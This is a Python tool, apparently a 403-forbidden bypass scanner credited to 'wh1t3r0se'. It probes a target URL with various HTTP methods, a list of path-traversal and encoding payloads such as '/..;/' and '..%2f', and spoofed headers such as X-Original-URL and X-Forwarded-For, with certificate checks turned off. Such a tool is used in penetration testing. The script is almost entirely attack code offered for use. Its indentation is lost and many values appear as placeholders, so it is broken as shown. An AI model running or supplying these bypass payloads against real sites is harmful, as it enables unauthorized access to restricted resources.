#!
/bin/python
import requests
import sys
import colorama
import time
from colorama import Fore, Style
import urllib3
from [Link] import InsecureRequestWarning
[Link].urllib3.disable_warnings(InsecureRequestWarning)
domain = [Link][1]
path = [Link][2]
url = domain + path
print(
[Link]
+ [Link]
+ """
___ _______ ______ ______ _______ _______ _______ _______
_______ _______
/ ) ( __ )/ ___ \ ( ___ \ |\ /|( ____ )( ___ )( ____ \( ____ \
( ____ \( ____ )
/ /) | | ( ) |\/ \ \ | ( ) )( \ / )| ( )|| ( ) || ( \/|
( \/| ( \/| ( )|
/ (_) (_ | | / | ___) / | (__/ / \ (_) / | (____)|| (___) || (_____ | (_____
| (__ | (____)|
(____ _)| (/ /) | (___ ( | __ ( \ / | _____)| ___ |(_____ )
(_____ )| __) | __)
) ( | / | | ) \ | ( \ \ ) ( | ( | ( ) | ) | )
|| ( | (\ (
| | | (__) |/\___/ / | )___) ) | | | ) | ) ( |/\____) |/\____)
|| (____/\| ) \ \__
(_) (_______)\______/ |/ \___/ \_/ |/ |/ \|\_______)\_______)
(_______/|/ \__/
By
wh1t3r0se
"""
)
print([Link] + [Link] + "Using different methods " + "\n")
res1 = [Link](url, allow_redirects=False, verify=False, timeout=5)
print(
[Link]
+ [Link]
+ "using GET :"
+ "\t"
+ [Link]
+ str(res1.status_code)
)
res2 = [Link](url, allow_redirects=False, verify=False, timeout=5)
print(
[Link]
+ [Link]
+ "using POST :"
+ "\t"
+ [Link]
+ str(res2.status_code)
)
res3 = [Link](url, allow_redirects=False, verify=False, timeout=5)
print(
[Link]
+ [Link]
+ "using HEAD :"
+ "\t"
+ [Link]
+ str(res3.status_code)
)
res4 = [Link](url, allow_redirects=False, verify=False, timeout=5)
print(
[Link]
+ [Link]
+ "using PUT : "
+ "\t"
+ [Link]
+ str(res4.status_code)
)
res5 = [Link](url, allow_redirects=False, verify=False, timeout=5)
print(
[Link]
+ [Link]
+ "using DELETE :"
+ "\t"
+ [Link]
+ str(res5.status_code)
)
res6 = [Link](url, allow_redirects=False, verify=False, timeout=5)
print(
[Link]
+ [Link]
+ "using PATCH :"
+ "\t"
+ [Link]
+ str(res6.status_code)
)
print([Link] + [Link] + "Using payloads at end of URL " + "\n")
payloads = [
"/",
"/*",
"/%2f/",
"/./",
"./.",
"/*/",
"?",
"??",
"&",
"#",
"%",
"%20",
"%09",
"/..;/",
"../",
"..%2f",
"..;/",
".././",
"..%00/",
"..%0d",
"..%5c",
"..%ff/",
"%2e%2e%2f",
".%2e/",
"%3f",
"%26",
"%23",
".json",
]
for payload in payloads:
try:
url2 = url + payload
res7 = [Link](url2, allow_redirects=False, verify=False, timeout=5)
print(
[Link]
+ [Link]
+ url2
+ " : "
+ [Link]
+ str(res7.status_code)
)
except:
pass
print([Link] + [Link] + "Using different headers " + "\n")
res8 = [Link](
url, headers={"X-Forwarded-For": "[Link]"}, allow_redirects=False,
verify=False
)
print(
[Link]
+ [Link]
+ "X-Forwarded-For"
+ " : "
+ [Link]
+ str(res8.status_code)
)
res9 = [Link](
url, headers={"X-Forwarded-Host": "[Link]"}, allow_redirects=False,
verify=False
)
print(
[Link]
+ [Link]
+ "X-Forwarded-Host"
+ " : "
+ [Link]
+ str(res9.status_code)
)
res10 = [Link](
url, headers={"X-Host": "[Link]"}, allow_redirects=False, verify=False
)
print(
[Link] + [Link] + "X-Host" + " : " + [Link] +
str(res10.status_code)
)
res11 = [Link](
url,
headers={"X-Custom-IP-Authorization": "[Link]"},
allow_redirects=False,
verify=False,
)
print(
[Link]
+ [Link]
+ "X-Custom-IP-Authorization"
+ " : "
+ [Link]
+ str(res11.status_code)
)
res12 = [Link](
url, headers={"X-Original-URL": "[Link]"}, allow_redirects=False,
verify=False
)
print(
[Link]
+ [Link]
+ "X-Original-URL"
+ " : "
+ [Link]
+ str(res12.status_code)
)
res13 = [Link](
url, headers={"X-Originating-IP": "[Link]"}, allow_redirects=False,
verify=False
)
print(
[Link]
+ [Link]
+ "X-Originating-IP"
+ " : "
+ [Link]
+ str(res13.status_code)
)
res14 = [Link](
url, headers={"X-Remote-IP": "[Link]"}, allow_redirects=False, verify=False
)
print(
[Link]
+ [Link]
+ "X-Remote-IP"
+ " : "
+ [Link]
+ str(res14.status_code)
)
url3 = domain + "/dev/null"
url4 = domain + path
res15 = [Link](
url3, headers={"X-Rewrite-URL": url4}, allow_redirects=False, verify=False
)
print(
[Link]
+ [Link]
+ "X-Rewrite-URL"
+ " : "
+ [Link]
+ str(res15.status_code)
)
print(
[Link]
+ [Link]
+ "finished automating . begin manual check . good luck "
+ "\n"
)
